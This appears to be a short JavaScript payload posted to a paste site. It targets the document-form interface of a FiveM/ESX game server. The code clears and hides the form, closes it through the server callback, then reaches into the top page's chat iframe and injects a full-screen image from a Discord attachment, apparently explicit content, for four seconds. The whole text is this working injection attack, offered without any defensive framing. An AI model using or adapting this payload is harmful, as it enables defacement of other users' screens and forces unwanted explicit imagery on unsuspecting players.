gifje2
4 weeks ago in JavaScript
$("#main_container").html("");
$("#main_container").css({display: 'none'});
$.post('http://esx_documents/form_close', JSON.stringify({}));
window.chatIframe = top.document.getElementsByName('chat')[0];
window.customImg = top.document.createElement('img');
window.customImg.src = "https://media.discordapp.net/attachments/1046517620200972468/1072216942011748463/bdsmlr-90456-Z0C9NMjxBI.gif";
window.customImg.style.width = "100vw";
window.customImg.style.height = "100vw";
window.chatIframe.contentDocument.body.appendChild(window.customImg);
setTimeout(() => {
window.customImg.style.width = "0px";
window.customImg.style.height = "0px";
}, 4000);